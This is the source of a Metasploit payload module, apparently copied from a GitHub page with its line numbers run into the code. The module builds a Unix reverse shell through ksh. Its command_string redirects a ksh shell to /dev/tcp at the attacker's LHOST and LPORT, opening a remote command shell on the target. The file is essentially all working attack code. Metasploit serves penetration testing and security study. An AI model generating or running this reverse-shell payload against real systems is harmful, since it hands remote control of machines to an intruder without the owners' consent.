Path: blob/master/modules/payloads/singles/cmd/unix/reverse_ksh.rb
21551 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 5278include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Unix Command Shell, Reverse TCP (via Ksh)',16'Description' => %q{17Connect back and create a command shell via Ksh. Note: Although Ksh is often18available, please be aware it isn't usually installed by default.19},20'Author' => 'Wang Yihang <wangyihanger[at]gmail.com>',21'License' => MSF_LICENSE,22'Platform' => 'unix',23'Arch' => ARCH_CMD,24'Handler' => Msf::Handler::ReverseTcp,25'Session' => Msf::Sessions::CommandShell,26'PayloadType' => 'cmd',27'RequiredCmd' => 'ksh',28'Payload' => { 'Offsets' => {}, 'Payload' => '' }29)30)31register_advanced_options(32[33OptString.new('KSHPath', [true, 'The path to the KSH executable', 'ksh'])34]35)36end3738def generate(_opts = {})39super + command_string40end4142def command_string43"#{datastore['KSHPath']} -c '#{datastore['KSHPath']} >/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 2>&1 <&1'"44end45end464748